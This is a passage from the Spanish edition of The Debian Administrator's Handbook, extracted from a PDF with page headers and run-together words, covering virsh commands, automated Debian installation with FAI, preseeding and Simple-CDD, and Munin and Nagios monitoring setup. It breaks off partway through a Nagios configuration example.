Entre otras subórdenes disponibles envirsh encontraremos:

reboot para reiniciar una máquinavirtual;shutdown para apagarla de formasegura;destroy, para detenerlabrutalmente;suspend para pausarla;

Page 1523: El Libro Del Administrador de Debian - Raphael Hertzog

resume para continuar suejecución;autostart para activar (odesactivar con la opción --disable) que se inicie la máquinavirtual automáticamente cuandoinicia el anfitrión;undefine para eliminar todorastro de la máquina virtual enlibvirtd.

Todas estas subórdenes aceptan unidentificador de máquina virtual comoparámetro.

Page 1524: El Libro Del Administrador de Debian - Raphael Hertzog

12.3. InstalaciónautomatizadaLos administradores de Falcot Corp,como muchos administradores degrandes servicios IT, necesitanherramientas para instalar (o reinstalar)rápidamente, y automáticamente si esposible, nuevas máquinas.

Un amplio rango de soluciones puedensatisfacer estos requisitos. Por el otrolado, herramientas genéricas comoSystemImager lo hacen creando unaimagen basada en una máquina patróny luego desplegando dicha imagen en

Page 1525: El Libro Del Administrador de Debian - Raphael Hertzog

los sistemas objetivo; en el otroextremo del espectro, el instaladorDebian estándar puede ser presembradocon un archivo de configuración queprovee las respuestas a las preguntasrealizadas durante el proceso deinstalación. Como un tipo de puntomedio, una herramienta híbrida comoFAI (instalador completamenteautomático: «Fully AutomaticInstaller») instala los equipos con elsistema de paquetes, pero tambiénutiliza su propia infraestructura paratareas más específicas de desplieguesmasivos (como inicialización,particionado, configuración, etc).

Cada una de estas herramientas tiene

Page 1526: El Libro Del Administrador de Debian - Raphael Hertzog

sus ventajas y desventajas:SystemImager funcionaindependientemente de cualquiersistema de paquetes particular, lo quepermite gestionar grandes conjuntos demáquinas que utilizan diferentesdistribuciones Linux. También incluyeun sistema de actualización que nonecesita una reinstalación, pero sólopuede confiar en este sistema deactualización si no se modifican lasmáquinas de forma independiente; enotras palabras, el usuario no debeactualizar ningún software por sucuenta ni instalar otro software. Deforam similar, no se debe automatizarlas actualizaciones de seguridad porqueéstos deben pasar por la imagen de

Page 1527: El Libro Del Administrador de Debian - Raphael Hertzog

referencia centralizada que administraSystemImager. Esta solución tambiénrequiere que las máquinas objetivosean homogéneas, de lo contrarionecesitará mantener y administrardiferentes imágenes (no podrá utilizaruna imagen i386 en una máquinapowerpc, etc.).

Por el otro lado, puede adaptar lainstalación automatizada con debian-installer a cada máquina específica: elinstalador obtendrá el núcleo y lospaquetes de software apropiados de losrepositorios relevantes, detectará elhardware disponible, particionará eldisco duro completo para aprovechartodo el espacio disponible, instalará el

Page 1528: El Libro Del Administrador de Debian - Raphael Hertzog

sistema Debian correspondiente yconfigurará el gestor de arranqueadecuado. Sin embargo, el instaladorestándar sólo instalará versiones deDebian estándar, con el sistema base yun subconjunto de «tareas»preseleccionadas; esto no permiteinstalar un sistema particular conaplicaciones no empaquetadas.Satisfacer esta necesidad particularrequerirá modificar el instalador…afortunadamente el instalador es muymodular y existen herramientas paraautomatizar la mayor parte del trabajonecesario para esta personalización, lamás importante siendo simple-CDD(CDD es acrónimo de derivadospersonalizados de Debian: «Custom

Page 1529: El Libro Del Administrador de Debian - Raphael Hertzog

Debian Derivatives»). Inclusive lasolución simple-CDD, sin embargo,sólo gestiona la instalación inicial; loque no es un problema generalmente yaque las herramientas de APT permitedesplegar actualizaciones de formaeficiente más adelante.

Sólo haremos una revisión general deFAI y saltearemos SystemImager porcompleto (ya no se encuentra enDebian), para poder enfocarnos másintensamente en debian-installer ysimple-CDD, que son más interesantesen un contexto sólo con Debian.

12.3.1. Instalador

Page 1530: El Libro Del Administrador de Debian - Raphael Hertzog

completamenteautomático (FAI:«Fully AutomaticInstaller»)Fully Automatic Installer esprobablemente el sistema dedespliegue automático para Debianmás antiguo, lo que explica su estadocomo referencia; pero su naturalezaflexible compensa su complejidad.

FAI necesita un sistema servidor paraalmacenar la información dedespliegue y permitir que las máquinas

Page 1531: El Libro Del Administrador de Debian - Raphael Hertzog

objetivo arranquen desde la red. Esteservidor necesita el paquete fai-server(o fai-quickstart, que también incluyelos elementos necesarios para unaconfiguración estándar).

FAI utiliza un enfoque específico paradefinir los varios perfiles instalables.En lugar de simplemente duplicar unainstalación de referencia, FAI es uninstalador completo, totalmenteconfigurable a través de archivos yscripts almacenados en el servidor; nose crea automáticamente la ubicaciónpredeterminada /srv/fai/config/,por lo que el administrador debecrearla junto con los archivosrelevantes. La mayoría de las veces,

Page 1532: El Libro Del Administrador de Debian - Raphael Hertzog

estos archivos serán personalizados dearchivos de ejemplos disponibles en ladocumentación del paquete fai-doc, enel directorio /usr/share/doc/fai-doc/examples/simple/ en particular.

Una vez que definimos los perfiles, elprograma fai-setup genera loselementos necesarios para iniciar unainstalación FAI; esto significa en sumayor parte preparar o actualizar unsistema mínimo (raíz NFS) parautilizar durante la instalación. Unaalternativa es generar un CD dearranque dedicado con fai-cd.

Crear todos estos archivos deconfiguración requiere entender cómo

Page 1533: El Libro Del Administrador de Debian - Raphael Hertzog

funciona FAI. Un proceso deinstalación típico consiste de lossiguientes pasos:

obtener un núcleo de la red einiciarlo;montar el sistema de archivos raízdesde NFS;ejecutar /usr/sbin/fai que controlael resto del proceso (los pasossiguientes, por lo tanto, soniniciados por este script);copiar el espacio de configuracióndesde el servidor a /fai/;ejecutar fai-class. Se ejecutan enorden los scripts /fai/class/[0-9][0-9]* y devuelve los nombresde «clases» que aplican a la

Page 1534: El Libro Del Administrador de Debian - Raphael Hertzog

máquina siendo instalada; estainformación servirá como basepara los pasos siguientes. Estopermite cierta flexibilidad en ladefinición de los servicios ainstalar y configurar.obtener una cantidad de variablesde configuración, que dependen delas clases relevantes;particionar los discos y darformato a las particionesbasándose en la informaciónprovista por/fai/disk_config/clase;montar dichas particiones;instalar el sistema base;presembrar la base de datosDebconf con fai-debconf;

Page 1535: El Libro Del Administrador de Debian - Raphael Hertzog

obtener la lista de paquetesdisponibles para APT;instalar los paquetes enumeradosen /fai/package_config/clase;ejecutar los scriptspostconfiguración,/fai/scripts/clase/[0-9][0-

9]*;grabar los registros de instalación,desmontar las particiones yreiniciar.

12.3.2. Presembradode Debian-InstallerDespués de todo, la mejor herramienta

Page 1536: El Libro Del Administrador de Debian - Raphael Hertzog

para instalar sistemas Debianlógicamente debería ser el instaladoroficial de Debian. Es por esto que,desde su concepción, se diseñó debian-installer para usarlo de formaautomatizada aprovechando lainfraestructura que provee debconf.Este último permite, por un lado,reducir la cantidad de preguntasrealizadas (las preguntas escondidasutilizarán la respuesta predeterminadaprovista) y por el otro proveerrespuestas predeterminadas porseparado para que la instalación puedano ser interactiva. Se conoce a estaúltima funcionalidad comopresembrado («preseeding»).

Page 1537: El Libro Del Administrador de Debian - Raphael Hertzog

YENDO MÁS ALLÁ Debconf con unabase de datos centralizada

El presembrado permite proveer unconjunto de respuestas a preguntasDebconf en el momento de instalación,pero estas respuestas son estáticas y noevolucionan con el tiempo. Debido a quemáquinas ya instaladas puede necesitarser actualizadas, y podrían requerirnuevas respuestas, puede definir elarchivo de configuración/etc/debconf.conf para que Debconfutilice fuentes de datos externas (como unservidor de directorio LDAP o un sistemade archivos remoto montado con NFS oSamba). Puede definir varias fuentes dedatos externas simultáneamente y queéstas se complementen. Todavía utilizarála base de datos local (para acceso delectura y escritura), pero generalmente se

Page 1538: El Libro Del Administrador de Debian - Raphael Hertzog

restringen para lectura a las bases dedatos remotas. La página de manualdebconf.conf(5) describe en detalle todaslas posibilidades.

12.3.2.1. Utilización de unarchivo de presembrado

Hay varios lugares de los que elinstalador puede obtener un archivo depresembrado:

en el initrd que arranca lamáquina; en este caso, elpresembrado ocurre muy alcomienzo de la instalación ypuede evitar todas las preguntas.

Page 1539: El Libro Del Administrador de Debian - Raphael Hertzog

Sólo debe asegurarse que elarchivo tenga el nombrepreseed.cfg y esté almacenadoen la raíz del initrd.en el medio de arranque (CD ollave USB); el presembrado ocurretan pronto como se monte elmedio, lo que significainmediatamente después de laspreguntas sobre idioma ydistribución de teclado. Puedeutilizar el parámetro de arranquepreseed/file para indicar laubicación del archivo depresembrado (por ejemplo,/cdrom/preseed.cfg cuando serealiza la instalación desde unCD-ROM o /hd-

Page 1540: El Libro Del Administrador de Debian - Raphael Hertzog

media/preseed.cfg en el caso deuna llave USB).desde la red; el presembradoocurrirá entonces sólo después quese configure (automáticamente) lared; el parámetro de arranquerelevante espreseed/url=http://servidor/preseed.cfg

A primera vista, incluir el archivo depresembrado en el initrd parecería lasolución más interesante; sin embargo,rara vez se la utiliza en la prácticaporque generar un intird de instalaciónes bastante complejo. Las otras dossoluciones son mucho más comunes,especialmente debido a que losparámetros de arranque proveen otra

Page 1541: El Libro Del Administrador de Debian - Raphael Hertzog

forma de presembrar las respuestas alas primeras preguntas del proceso deinstalación. La forma usual de evitar lamolestia de tipear estos parámetros amano en cada instalación es guardarlosen la configuración de isolinux (en elcaso del CD-ROM) o syslinux (para lallave USB).

12.3.2.2. Creación de unarchivo de presembrado

Un archivo de presembrado es unarchivo en texto plano en el que cadalínea contiene la respuesta a unapregunta Debconf. Cada línea estádividida en cuatro campos separados

Page 1542: El Libro Del Administrador de Debian - Raphael Hertzog

por espacios en blancos (espacios otabulaciones) como, por ejemplo, d-imirror/suite string stable:

el primer campo es el «dueño» dela pregunta; utilizamos «d-i» paralas preguntas relevantes alinstalador, pero también puede serel nombre de un paquete para laspreguntas que provengan de unpaquete Debian;el segundo campo es unidentificador para la pregunta;tercero, el tipo de pregunta;el cuarto y último campo contieneel valor de la respuesta; sepa quedebe estar separado del tercercampo sólo por un espacio para

Page 1543: El Libro Del Administrador de Debian - Raphael Hertzog

que el valor pueda comenzar conespacios en blanco.

La forma más simple de escribir unarchivo de presembrado es instalar unsistema a mano. Luego, debconf-get-selections --installer proveerá lasrespuestas que involucran al instalador.Puede obtener las respuestas sobreotros paquetes con dbconf-get-selections. Sin embargo, una soluciónmás limpia es escribir el archivo depresembrado a mano, comenzando conun ejemplo y la documentación dereferencia: con este enfoque, sólonecesitará presembrar las preguntas enlas que desea modificar la respuestapredeterminada; utilizar el parámetro

Page 1544: El Libro Del Administrador de Debian - Raphael Hertzog

de arranque priority=critical leindicará a Debconf que sólo realice laspreguntas críticas y que utilice lasrespuestas predeterminadas para lasdemás.

DOCUMENTACIÓN Apéndice de la guíade instalación

La guía de instalación, disponible eninternet, incluye documentación detalladasobre el uso de un archivo depresembrado en un apéndice. Tambiénincluye un archivo de ejemplo detallado ycomentado, que puede servir como basepara personalizaciones locales.

→ http://www.debian.org/releases/squeeze/i386/apb.html

→ http://www.debian.org/releases/squeeze/example-

Page 1545: El Libro Del Administrador de Debian - Raphael Hertzog

preseed.txt

12.3.2.3. Creación de unmedio de arranquepersonalizado

Saber dónde almacenar el archivo depresembrado está bien, pero laubicación no lo es todo: uno debe, deuna u otra forma, alterar el medio dearranque de la instalación paramodificar los parámetros de arranque yagregar el archivo de presembrado.

12.3.2.3.1. Arranque desde la red

Page 1546: El Libro Del Administrador de Debian - Raphael Hertzog

Cuando un equipo arranca desde la red,el servidor que envía los elementos deinicialización también define losparámetros de arranque. Por lo tanto,debe modificar la configuración dePXE en el servidor de arranque; másespecíficamente, en su archivo deconfiguración/tftpboot/pxelinux.cfg/default.Definir el arranque por red es unprerequisito; revise la guía deinstalación para más detalles.

→ http://www.debian.org/releases/squeeze/i386/ch04s05.html

12.3.2.3.2. Preparación de una llaveUSB de arranque

Page 1547: El Libro Del Administrador de Debian - Raphael Hertzog

Una vez que preparó una llave dearranque (revise la Section 4.1.2,“Arranque desde una llave USB”),necesitará unas pocas operacionesadicionales. Asumiendo que elcontenido de la llave se encuentra en/media/usbdisk/:

copie el archivo de presembrado a/media/usbdisk/preseed.cfg

edite/media/usbdisk/syslinux.cfg

y agrege los parámetros dearranque necesarios (revise elejemplo a continuación).

Example 12.2. Archivo syslinux.cfg yparámetros de presembradodefault vmlinuz

Page 1548: El Libro Del Administrador de Debian - Raphael Hertzog

append preseed/file=/hd-media/preseed.cfg locale=en_US console-keymaps-at/keymap=us languagechooser/language-name=English countrychooser/shortlist=US vga=normal initrd=initrd.gz --

12.3.2.3.3. Creación de una imagen deCD-ROM

Una llave USB es un medio de lecturay escritura, por lo que es sencilloagregar un archivo allí y cambiar unospocos parámetros. En el caso de unCD-ROM, la operación es máscompleja ya que necesitamos generaruna imagen ISO completa. debian-cd seencarga de esto, pero es bastanteextraño utilizar esta herramienta:necesita un repositorio local y requiereentender todas las opciones que provee/usr/share/debian-cd/CONF.sh; aúnentonces, debe ejecutar make varias

Page 1549: El Libro Del Administrador de Debian - Raphael Hertzog

veces. Se recomienda leer/usr/share/debian-cd/README.

Habiendo dicho esto, debian-cdsiempre funciona de forma similar:genera un directorio «image» con elcontenido exacto del CD-ROM y luegolo convierte en un archivo ISO con unaherramienta como genisoimage,mkisofs o xorriso. El directorio deimagen es completado luego del pasomake image-trees de debian-cd. Eneste punto, agregaremos el archivo depresembrado en el directorio apropiado(usualmente $TDIR/squeeze/CD1/,donde $TDIR es uno de los parámetrosdefinidos por el archivo deconfiguración CONF.sh). El CD-ROM

Page 1550: El Libro Del Administrador de Debian - Raphael Hertzog

utiliza isolinux como gestor dearranque, y debemos adaptar el archivode configuración que generó debian-cdpara poder agregar los parámetros dearranque necesarios (el archivoespecífico es$TDIR/squeeze/boot1/isolinux/isolinux.cfg

Luego puede continuar el proceso«normal» y generar la imagen ISO conmake image CD=1 (o make images siestá generando varios CD-ROMs).

12.3.3. Simple-CDD:la solución todo-en-uno

Page 1551: El Libro Del Administrador de Debian - Raphael Hertzog

Utilizar sólamente un archivo depresembrado no es suficiente parasatisfacer todos los requisitos quepodrían aparecer en desplieguesgrandes. Aunque es posible ejecutaralgunos scripts al final del procesonormal de instalación, todavía no esmuy flexible la selección del conjuntode paquetes a instalar (básicamente,sólo puede seleccionar «tareas»); loque es más importante, esto sólopermite instalar paquetes Debianoficiales y excluye aquellos generadoslocalmente.

Por el otro lado, debian-cd puedeintegrar paquetes externos y se puedeextender debian-installer agregando

Page 1552: El Libro Del Administrador de Debian - Raphael Hertzog

nuevos pasos en el proceso deinstalación. Combinando estascapacidades, debería ser posible crearun instalador completamentepersonalizado que satisfaga nuestrasnecesidades; inclusive debería poderconfigurar algunos servicios luego dedesempaquetar los paquetes necesarios.Afortunadamente, esto no es sólo unahipótesis ya que esto es exactamente loque hace Simple-CDD (en el paquetesimple-cdd).

El propósito de Simple-CDD espermitir que cualquiera pueda crearfácilmente una distribución derivada deDebian seleccionando un subconjuntode los paquetes disponibles,

Page 1553: El Libro Del Administrador de Debian - Raphael Hertzog

preconfigurarlos con Debconf, agregarsoftware específico y ejecutar scriptspersonalizados al final del proceso deinstalación. Esto coincide con lafilosofía de «sistema operativouniversal» ya que cualquiera puedeadaptarlo a sus necesidades.

12.3.3.1. Creación deperfiles

Simple-CDD define «perfiles» quecoinciden con el concepto de «clases»de FAI; una máquina puede tenervarios perfiles (determinados en elmomento de la instalación). Se defineun perfil con un conjunto de archivos

Page 1554: El Libro Del Administrador de Debian - Raphael Hertzog

profiles/perfil.*:

el archivo .description contieneuna descripción de una línea sobreel perfil;el archivo .packages enumera lospaquetes que se instalaránautomáticamente si se seleccionael perfil;el archivo .downloads enumeralos paquetes que se almacenaránen el medio de instalación pero nose instalarán obligatoriamente;el archivo .preseed contieneinformación de presembrado paralas preguntas de Debconf (para elinstalador y/o los paquetes);el archivo .postinst contiene un

Page 1555: El Libro Del Administrador de Debian - Raphael Hertzog

script que se ejecutará al final delproceso de instalación;finalmente, el archivo .confpermite modificar algunosparámetros de Simple-CDDbasado en los perfiles incluidos enla imagen.

El perfil default («predeterminado»)tiene un rol particular ya que siempreestá activo; contiene lo mínimonecesario para que funcione Simple-CDD. Lo único que generalmentepersonalizaremos en este perfile es elparámetro de presembrado simple-cdd/profiles: esto permite esquivarla pregunta sobre los perfiles a instalarque agrega Simple-CDD.

Page 1556: El Libro Del Administrador de Debian - Raphael Hertzog

Sepa también que necesitará ejecutartodo desde el directorio que contengael directorio profiles.

12.3.3.2. Configuración yuso de build-simple-cdd

VISTA RÁPIDA Archivo deconfiguración detallado

El paquete incluye un ejemplo de archivode configuración de Simple-CDD contodos los parámetros posibles(/usr/share/docs/simple-cdd/examples/simple-

cdd.conf.detailed.gz). Puede utilizarlocomo punto de partida cuando cree unarchivo de configuración personalizado.

Page 1557: El Libro Del Administrador de Debian - Raphael Hertzog

Simple-CDD necesita muchosparámetros para todo sufuncionamiento. En la mayoría de loscasos los obtendrá de un archivo deconfiguración al que podemos apuntarcon la opción --conf de build-simple-cdd, pero también podemosespecificarlos como parámetrosespecíficos al ejecutar build-simple-cdd. Aquí hay una vista rápida sobrecómo funciona este programa y cómoutilizar sus parámetros:

el parámetro profiles enumeralos perfiles que se incluirán en laimagen de CD-ROM generada;basado en la lista de paquetes

Page 1558: El Libro Del Administrador de Debian - Raphael Hertzog

necesarios, Simple-CDD descargalos archivos necesarios desde elservidor mencionado en server ylos reúne en un repositorio parcial(que luego le proveerá a debian-cd);también se integrarán a esterepositorio local los paquetespersonalizados mencionados enlocal_packages;luego ejecutará debian-cd (conuna ubicación predeterminada quepuede configurar con la variabledebian_cd_dir) con la lista depaquetes a integrar;una vez que debian-cd preparóeste directorio, Simple-CDDrealiza algunos cambios al mismo:

Page 1559: El Libro Del Administrador de Debian - Raphael Hertzog

agrega los archivos quecontienen los perfiles en unsubdirectorio simple-cdd(que serán incluidos en elCD-ROM);también se agregarán losdemás archivos enumeradosen el parámetro all_extras;ajustará los parámetros dearranque para permitirpresembrado. Puede evitarlas preguntas sobre idioma ypaís si almacena lainformación necesaria en lasvariables language ycountry.

luego debian-cd genera la imagenISO final.

Page 1560: El Libro Del Administrador de Debian - Raphael Hertzog

12.3.3.3. Generación de unaimagen ISO

Una vez que escribimos un archivo deconfiguración y definimos nuestrosperfiles, el paso restante es ejecutarbuild-simple-cdd --conf simple-cdd.conf. Luego de unos minutostendremos la imagen necesaria enimages/debian-6.0-i386-CD-1.iso.

Page 1561: El Libro Del Administrador de Debian - Raphael Hertzog

12.4. MonitorizaciónLa monitorización es un términogenérico, y las muchas actividadesinvolucradas tiene varias objetivos: porun lado, seguir el uso de recursosprovistos por una máquina permiteanticipar saturación y la actualizaciónnecesaria que le seguirá; por el otro,alertar a los administradores tan prontocomo un servicio no esté disponible ono fucione correctamente significa quese puede solucionar el problema antes.

Munin cubre la primera área mostrandográficos de los valores históricos deuna cantidad de parámetros (RAM

Page 1562: El Libro Del Administrador de Debian - Raphael Hertzog

utilizada, espacio ocupado en disco,carga en el procesador, tráfico de red,carga de Apache/MySQL, etc.). Nagioscubre la segunda área, revisandoregularmente que los servicios esténfuncionando y disponibles, enviandoalertas a través de los canalesapropiados (correo, mensajes de texto,etc.). Ambos tienen un diseño modular,lo que permite crear nuevos pluginspara monitorizar parámetros oservicios específicos.

ALTERNATIVA Zabbix, unaherramienta de monitorizaciónintegrada

Si bien Munin y Nagios son comunes, noson los únicos jugadores en el campo de

Page 1563: El Libro Del Administrador de Debian - Raphael Hertzog

la monitorización, y cada uno de ellosgestiona la mitad de la tarea (gráficos porun lado, alertas por otro). Zabbix, por suparte, integra ambas partes de lamonitorización; también tiene unainterfaz web para configurar los aspectosmás comunes. Creció enormemente en losúltimos años y ahora se lo puedeconsiderar un contendiente viable.

→ http://www.zabbix.org/

ALTERNATIVA Icinga, una bifurcaciónde Nagios

Debido a divergencias en opiniones sobreel modelo de desarrollo de Nagios (que escontrolado por una empresa), unacantidad de desarrolladores bifurcaronNagios y utilizaron Icinga como su nuevo

Page 1564: El Libro Del Administrador de Debian - Raphael Hertzog

nombre. Icinga todavía es compatible —hasta ahora — con los plugins yconfiguraciones de Nagios, pero tambiénagrega funcionalidad adicional.

→ http://www.icinga.org/

12.4.1. Configuraciónde MuninEl propósito de Munin es monitorizarmuchas máquinas; por lo tanto,naturalmente utiliza una arquitecturacliente/servidor. El equipo central — elgraficador — recolecta datos de todoslos equipos monitorizados y genera

Page 1565: El Libro Del Administrador de Debian - Raphael Hertzog

gráficos históricos.

12.4.1.1. Configuración delos equipos a monitorizar

El primer paso es instalar el paquetemunin-node. El demonio que instalaeste paquete escucha en el puerto 4949y envía los datos recolectados portodos los plugins activos. Cada plugines un programa simple que devuelveuna descripción de los datosrecolectados y el último valor medido.Los plugins se almacenan en/usr/share/munin/plugins/, perorealmente sólo se utilizan aquellos conun enlace simbólico en

Page 1566: El Libro Del Administrador de Debian - Raphael Hertzog

/etc/munin/plugins/.

Cuando instala el paquete, se determinaun conjunto de plugins activos basadosen el software disponible y laconfiguración actual del equipo. Sinembargo, esta configuraciónautomática depende de unafuncionalidad que debe proveer cadaplugin, y generalmente es buena idearevisar y alterar el resultado a mano.Sería interesante tener unadocumentación completa de cadaplugin, pero desafortunadamente noexiste tal documentación oficial. Sinembargo, todos los plugins son scriptsy la mayoría son bastante simples yestán bien comentados. Revisar

Page 1567: El Libro Del Administrador de Debian - Raphael Hertzog

/etc/munin/plugins/ es, por lo tanto,una buena forma de tener una idea delo que hace cada plugin y determinar sidebe eliminarlo. Similarmente, activarun plugin interesante que se encuentreen /usr/share/munin/plugins/ essimplemente cuestión de crear unenlace simbólico con ln -sf/usr/share/munin/plugins/plugin/etc/munin/plugins/. Sepa que cuandoel nombre de un plugin finaliza con unguión bajo «_», el plugin necesita unparámetro. Debe almacenar esteparámetro en el nombre del enlacesimbólico; por ejemplo, el plugin «if_»debe activarse con un enlace simbólicollamado if_eth0 para monitorizar eltráfico de red en la interfaz eth0.

Page 1568: El Libro Del Administrador de Debian - Raphael Hertzog

Una vez que configuró correctamentelos plugins, debe actualizar el demoniode configuración para describir elcontrol de acceso de los datosrecolectados. Esto involucra directivasallow en el archivo/etc/munin/munin-node.conf. Laconfiguración predeterminada esallow^127\.0\.0\.1$, lo que sólopermite el acceso al equipo local. Unadministrador usualmente agregará unalínea similar que contenga la direcciónIP del equipo graficador y luegoreiniciará el demonio con invoke-rc.dmunin-node restart.

YENDO MÁS ALLÁ Creación de pluginslocales

Page 1569: El Libro Del Administrador de Debian - Raphael Hertzog

A pesar de la falta de documentaciónoficial para los plugins estándar, Munin síincluye documentación detallada sobrecómo se deben comportar los plugins ycómo desarrollar plugins nuevos.

→ http://munin-monitoring.org/wiki/Documentation

La mejor forma de probar un plugin esejecutarlo en las mismas condiciones quelo haría munin-node; puede simularloejecutando munin-run plugin como root.Puede proveer un posible segundoparámetro a este programa (como config)que será provisto como parámetro alplugin.

Cuando ejecuta un plugin con elparámetro config, debe describirse a símismo devolviendo un conjunto decampos:

Page 1570: El Libro Del Administrador de Debian - Raphael Hertzog

$ sudo munin-run load config

graph_title Load average

graph_args --base 1000 -l 0

graph_vlabel load

graph_scale no

graph_category system

load.label load

graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately").

load.info 5 minute load average

La especificación del «protocolo deconfiguración», disponible en el sitio webde Munin, describe los varios camposdisponibles.

→ http://munin-monitoring.org/wiki/protocol-config

Cuando lo ejecuta sin parámetros, unplugin simplemente devuelve el últimovalor medido; por ejemplo, ejecutar sudomunin-run load podría devolverload.value 0.12.

Page 1571: El Libro Del Administrador de Debian - Raphael Hertzog

Finalmente, cuando ejecute un plugin conel parámetro autoconf, debería devolver«yes» (y un código de salida 0) o «no»(con un código de salida 1) según si elplugin debería estar activado en esteequipo o no.

12.4.1.2. Configuración delgraficador

El «graficador» es simplemente elequipo que agrupa los datos y generalos gráficos correspondientes. Elsoftware necesario se encuentra en elpaquete munin. La configuraciónestándar ejecuta munin-cron (una vezcada 5 minutos), mediante el que

Page 1572: El Libro Del Administrador de Debian - Raphael Hertzog

obtiene datos de todos los equiposenumerados en/etc/munin/munin.conf (de formapredeterminada sólo incluye al equipolocal), guarda los datos históricos enarchivos RRD (base de datos RoundRobin: «Round Robin Database», unformato de archivo diseñado paraalmacenar datos que varían en eltiempo) almacenados en/var/lib/munin/ y genera una páginaHTML con los gráficos en/var/cache/munin/www/.

Por lo tanto, debe enumerar todas lasmáquinas monitorizadas en el archivode configuración/etc/munin/munin.conf. Cada

Page 1573: El Libro Del Administrador de Debian - Raphael Hertzog

máquina es enumerada como unasección completa con el nombre quecoincide con el equipo y al menos unelemento address que provee ladirección IP correspondiente.

[ftp.falcot.com]

address 192.168.0.12

use_node_name yes

Las secciones pueden ser máscomplejas y describir gráficosadicionales que puede crearcombinando datos de varias máquinas.Los ejemplos que provee el archivo deconfiguración son buenos puntos departida para personalizar.

El último paso es publicar las páginas

Page 1574: El Libro Del Administrador de Debian - Raphael Hertzog

generadas; esto involucra configurar unservidor web para que el contenido de/var/cache/munin/www/ estédisponible en un sitio web.Generalmente restringirá el acceso aeste sitio web, ya sea con unmecanismo de autenticación o uncontrol de acceso basado en IP. Revisela Section 11.2, “Servidor web(HTTP)” para los detalles relevantes.

12.4.2. Configuraciónde NagiosA diferencia de Munin, Nagios nonecesita instalar algo en los equipos

Page 1575: El Libro Del Administrador de Debian - Raphael Hertzog

monitorizados; la mayoría de las veces,se utiliza Nagios para revisar ladisponibilidad de servicios de red. Porejemplo, Nagios puede conectarse a unservidor web y revisar si puede obteneruna página web dada en un tiempoespecificado.

12.4.2.1. Instalación

El primer paso para configurar Nagioses instalar los paquetes nagios3,nagios-plugins y nagios3-doc. Lainstalación de estos paquetesconfigurará la interfaz web y creará unprimer usuario nagiosadmin (para elque pedirá una contraseña). Agregarotros usuarios es tan simple como

Page 1576: El Libro Del Administrador de Debian - Raphael Hertzog

agregarlos al archivo/etc/nagios3/htpasswd.users conel programa htpasswd de Apache. Sino se muestra ninguna preguntaDebconf durante su instalación, puedeutilizar dpkg-reconfigure nagios3-cgipara definir la contraseña denagiosadmin.

Apuntar un navegador ahttp://servidor/nagios3/ mostrarála interfaz web; en particular verá queNagios ya monitoriza algunosparámetros de la máquina en la queejecuta. Sin embargo, algunascaracterísticas interactivas comoagregar comentarios a los equipos nofuncionarán. Estas características están

Page 1577: El Libro Del Administrador de Debian - Raphael Hertzog

desactivadas en la configuraciónpredeterminada de Nagios, la cual esmuy restrictiva por cuestiones deseguridad.

Como está documentado en/usr/share/doc/nagios3/README.Debian

para activar algunas funcionalidadesdeberemos editar el archivo/etc/nagios3/nagios.cfg y definirsu parámetrocheck_external_command como «1».También necesitaremos configurarpermisos de escritura al directorio queutiliza Nagios, ejecutando algo similara:

# /etc/init.d/nagios3 stop

[...]

Page 1578: El Libro Del Administrador de Debian - Raphael Hertzog

# dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios3/rw

# dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3

# /etc/init.d/nagios3 start

[...]

12.4.2.2. Configuración

La interfaz web de Nagios es bastanteagradable, pero no permiteconfiguración ni puede utilizarla paraagregar equipos o servicios amonitorizar. Se administra toda laconfiguración a través de archivosreferenciados en el archivo deconfiguración central,/etc/nagios3/nagios.cfg.

No debe adentrarse en estos archivossin entender algunos conceptos de

Page 1579: El Libro Del Administrador de Debian - Raphael Hertzog

Nagios. La configuración enumeraobjetos de los siguientes tipos:

a «host» es una máquina amonitorizar;un «hostgroup» es un conjunto deequipos que deben ser agrupadospara visualización o para abstraeralgunos elementos deconfiguración en común;un «service» es un elemento aprobar relacionado a un equipo ogrupo. La mayoría de las vecesserá un chequeo de un servicio dered, pero también puede incluirrevisar que algunos parámetrosestán dentro de un rango aceptable(por ejemplo, espacio libre en el

Page 1580: El Libro Del Administrador de Debian - Raphael Hertzog

disco o carga del procesador);un «servicegroup» es un conjuntode servicios que deben seragrupados para visualización;un «contact» es una persona quepuede recibir alertas;un «contactgroup» es un conjuntode contactos;un «timeperiod» es un rango detiempo durante el que se debenrevisar algunos servicios;un «command» es la línea deórdenes ejecutada para revisar unservicio dado.

Según su tipo, cada objeto tiene unacantidad de propiedades que podemospersonalizar. Una lista completa sería

Page 1581: El Libro Del Administrador de Debian - Raphael Hertzog

demasiado extensa, pero laspropiedades más importantes son lasrelaciones entre objetos.

Un «service» utiliza un «command»para revisar el estado de unacaracterística en un «host» (o«hostgroup») durante un «timeperiod».En caso de un problema, Nagios envíauna alerta a todos los miembros de un«contactgroup» relacionado con elservicio. Se envía la alerta a cadamiembro según el canal descripto en elobjeto «contact» asociado.

Un sistema de herencia permitecompartir fácilmente un conjunto depropiedades entre varios objetos sin

Page 1582: El Libro Del Administrador de Debian - Raphael Hertzog

duplicar información. Lo que es más, laconfiguración inicial incluye algunosobjetos estándar; en muchos casos,definir nuevos equipos, servicios ycontactos es tan simple como derivarde los objetos genéricos provistos. Losarchivos en /etc/nagios3/conf.d/son una buena fuente de informaciónsobre cómo funcionan.

Los administradores de Falcot Corputilizan la siguiente configuración:

Example 12.3. Archivo/etc/nagios3/conf.d/falcot.cfg

define contact{

name generic-contact

service_notification_period 24x7

host_notification_period 24x7

service_notification_options w,u,c,r

Page 1583: El Libro Del Administrador de Debian - Raphael Hertzog

host_notification_options d,u,r

service_notification_commands notify-service-by-email

host_notification_commands notify-host-by-email

register 0 ; Sólo plantilla

}

define contact{

use generic-contact

contact_name rhertzog

alias Raphael Hertzog

email [email protected]

}

define contact{

use generic-contact

contact_name rmas

alias Roland Mas

email [email protected]

}

define contactgroup{

contactgroup_name falcot-admins

alias Falcot Administrators

members rhertzog,rmas

Page 1584: El Libro Del Administrador de Debian - Raphael Hertzog

}

define host{

use generic-host ; Nombre de la plantilla de host a utilizar

host_name www-host

alias www.falcot.com

address 192.168.0.5

contact_groups falcot-admins

hostgroups debian-servers,ssh-servers

}

define host{

use generic-host ; Nombre de la plantilla de host a utilizar

host_name ftp-host

alias ftp.falcot.com

address 192.168.0.6

contact_groups falcot-admins

hostgroups debian-servers,ssh-servers

}

# orden 'check_ftp' con parámetros personalizados

define command{

command_name check_ftp2

Page 1585: El Libro Del Administrador de Debian - Raphael Hertzog

